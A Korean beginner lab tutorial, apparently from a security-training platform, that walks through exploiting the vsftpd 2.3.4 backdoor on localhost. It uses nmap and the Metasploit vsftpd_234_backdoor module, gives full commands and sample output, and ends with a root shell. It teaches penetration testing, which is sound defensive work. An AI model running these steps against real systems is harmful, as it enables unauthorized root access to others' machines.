Metasploit 에서 취약한 vsftpd 서비스 익스플로잇하기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 침투 테스터의 역할을 맡아 알려진 취약점을 악용하기 위해 Metasploit Framework 를 사용하는 방법을 배우게 됩니다. 구체적으로, 유명한 백도어를 포함하고 있는 vsftpd (Very Secure FTP Daemon) 버전 2.3.4 를 대상으로 합니다.

Metasploit 은 해킹을 단순하게 만드는 강력한 오픈 소스 침투 테스트 프레임워크입니다. 보안 전문가에게 필수적인 도구입니다. 표준 침투 테스트 프로세스를 따르게 됩니다: 서비스를 식별하기 위해 대상을 스캔하고, 적합한 익스플로잇을 찾고, 이를 구성하고, 대상 시스템을 제어하기 위해 공격을 시작합니다. 이 랩에서는 대상 머신이 로컬 환경 (localhost) 이 될 것입니다.

취약한 vsftpd 서비스 식별

이 단계에서는 모든 침투 테스트의 첫 번째 단계인 정찰을 수행합니다. 목표는 대상을 스캔하여 열린 포트를 발견하고 해당 포트에서 실행 중인 서비스의 버전을 식별하는 것입니다. 이 정보는 잠재적인 취약점을 찾는 데 중요합니다. 이를 위해 강력한 네트워크 스캐닝 도구인 nmap을 사용할 것입니다.

먼저 터미널을 엽니다. 대상 역할을 하는 로컬 머신을 스캔할 것입니다. 로컬 머신의 IP 주소는 127.0.0.1입니다.

대상에 대한 서비스 버전 스캔 (-sV) 을 수행하기 위해 다음 nmap 명령을 실행합니다:

nmap -sV 127.0.0.1

스캔이 완료되면 nmap은 열린 포트와 식별된 서비스를 보고합니다. 이 랩에서는 포트 21 에서 실행되는 FTP 서비스에 관심이 있습니다.

출력은 다음과 유사해야 합니다. FTP 서비스의 버전 정보를 참고하십시오.

Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds

출력에서 포트 21 에서 vsftpd 2.3.4가 실행 중임을 명확하게 알 수 있습니다. 이 특정 버전은 백도어를 포함하는 것으로 널리 알려져 있어 우리의 익스플로잇에 이상적인 대상이 됩니다.

vsftpd_234_backdoor 익스플로잇 모듈 선택

이 단계에서는 Metasploit Framework 를 실행하고 vsftpd 2.3.4 서비스를 공격할 올바른 익스플로잇 모듈을 찾습니다.

먼저 Metasploit 콘솔을 시작합니다. 배너를 건너뛰고 더 빠르게 시작하기 위해 -q (quiet) 플래그를 사용합니다.

msfconsole -q

Metasploit 이 로드되면 msf6 > 프롬프트가 표시됩니다. 이제 vsftpd와 관련된 익스플로잇을 검색할 수 있습니다. search 명령을 사용합니다:

search vsftpd

Metasploit 은 일치하는 모듈 목록을 표시합니다. vsftpd 2.3.4의 백도어에 대한 특정 익스플로잇을 볼 수 있어야 합니다.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                     normal     No     FTP Version Scanner

exploit/unix/ftp/vsftpd_234_backdoor 모듈이 바로 우리가 필요한 것입니다. "excellent"로 평가되어 매우 신뢰할 수 있습니다. 이 모듈을 로드하려면 use 명령 다음에 모듈의 전체 이름 또는 검색 결과의 번호를 사용합니다.

use exploit/unix/ftp/vsftpd_234_backdoor

명령을 실행한 후 프롬프트가 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >로 변경되어 익스플로잇 모듈이 이제 활성화되었음을 나타냅니다.

대상 IP 주소로 RHOSTS 옵션 설정

이 단계에서는 익스플로잇 모듈을 구성합니다. 대부분의 모듈은 대상의 IP 주소와 같은 옵션을 설정해야 합니다.

vsftpd_234_backdoor 모듈이 로드된 상태에서 show options 명령을 사용하여 해당 옵션을 볼 수 있습니다.

show options

이 명령은 이 모듈에 대해 사용 가능한 모든 옵션, 현재 설정 및 필수 여부를 표 형식으로 표시합니다.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

보시다시피 RHOSTS (Remote Hosts) 는 필수이지만 값이 설정되어 있지 않습니다. 이를 대상 머신의 IP 주소인 127.0.0.1로 설정해야 합니다.

set 명령을 사용하여 RHOSTS 옵션을 구성합니다:

set RHOSTS 127.0.0.1

옵션이 올바르게 설정되었는지 확인하려면 show options를 다시 실행할 수 있습니다. RHOSTS에 이제 127.0.0.1 값이 설정된 것을 볼 수 있습니다.

check 명령을 사용하여 대상의 취약점 확인

이 단계에서는 선택한 익스플로잇에 대상이 실제로 취약한지 안전하게 테스트합니다. Metasploit 은 많은 모듈에 대해 check 명령을 제공하며, 이를 통해 전체 공격을 시작하지 않고 취약점을 확인할 수 있습니다. 이는 탐지 및 시스템 충돌을 피하는 데 유용합니다.

이제 익스플로잇 모듈이 대상의 IP 주소로 구성되었으므로 check 명령을 실행합니다:

check

Metasploit 은 백도어가 존재하는지 확인하기 위해 대상 서비스를 프로빙합니다. 대상이 취약한 경우 확인 메시지가 표시됩니다.

[+] 127.0.0.1:21 - The target is vulnerable.

[+] The target is vulnerable. 메시지는 127.0.0.1의 vsftpd 서비스에 백도어가 있음을 확인합니다. 이제 익스플로잇을 시작할 준비가 되었습니다. 대상이 취약하지 않은 경우 일반적으로 대상이 익스플로잇 가능하지 않다고 보고합니다.

익스플로잇 실행 및 명령 쉘 획득

이 단계에서는 익스플로잇을 실행하여 대상 시스템에 대한 무단 액세스를 얻습니다. check 명령이 대상의 취약점을 확인했으므로 익스플로잇은 성공해야 합니다.

공격을 시작하는 명령은 exploit입니다. 별칭인 run을 사용할 수도 있습니다.

exploit

Metasploit 은 이제 악성 페이로드를 vsftpd 서비스로 전송합니다. 백도어가 트리거되어 다른 포트 (이 경우 포트 6200) 에서 명령 쉘이 열립니다. Metasploit 은 이 새 쉘에 연결하여 대상에 대한 직접적인 명령줄 액세스를 제공합니다.

출력은 다음과 같습니다:

[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400

이제 대상 머신에서 명령 쉘을 사용할 수 있습니다! 프롬프트가 사라진 것을 확인하세요. 이제 대상에 직접 로그인한 것처럼 명령을 실행할 수 있습니다. whoami 명령을 실행하여 액세스 수준을 확인해 보겠습니다.

whoami

출력은 다음과 같아야 합니다:

root

이는 대상 시스템에 대한 완전한 제어를 제공하는 루트 쉘을 획득했음을 확인합니다. 쉘을 종료하고 Metasploit 프롬프트로 돌아가려면 exit를 입력하세요.

요약

이 랩을 성공적으로 완료하신 것을 축하드립니다! Metasploit Framework 를 사용한 침투 테스트의 기본 워크플로우를 배웠습니다.

이 랩에서는 다음을 수행했습니다:

  1. nmap을 사용하여 정찰을 수행하고 취약한 vsftpd 2.3.4 서비스를 식별했습니다.
  2. Metasploit 콘솔을 시작하고 관련 익스플로잇을 검색했습니다.
  3. RHOSTS 옵션을 설정하여 vsftpd_234_backdoor 익스플로잇 모듈을 선택하고 구성했습니다.
  4. check 명령을 사용하여 대상의 취약점을 안전하게 확인했습니다.
  5. exploit 명령을 실행하여 대상 시스템에서 루트 레벨 명령 쉘을 획득했습니다.

이 연습은 간단하고 패치되지 않은 취약점이 어떻게 시스템 전체의 침해로 이어질 수 있는지 보여줍니다. 이는 소프트웨어를 최신 상태로 유지하는 것의 중요성과 윤리적 해커 및 악의적인 공격자 모두에게 Metasploit 과 같은 도구의 강력함을 강조합니다.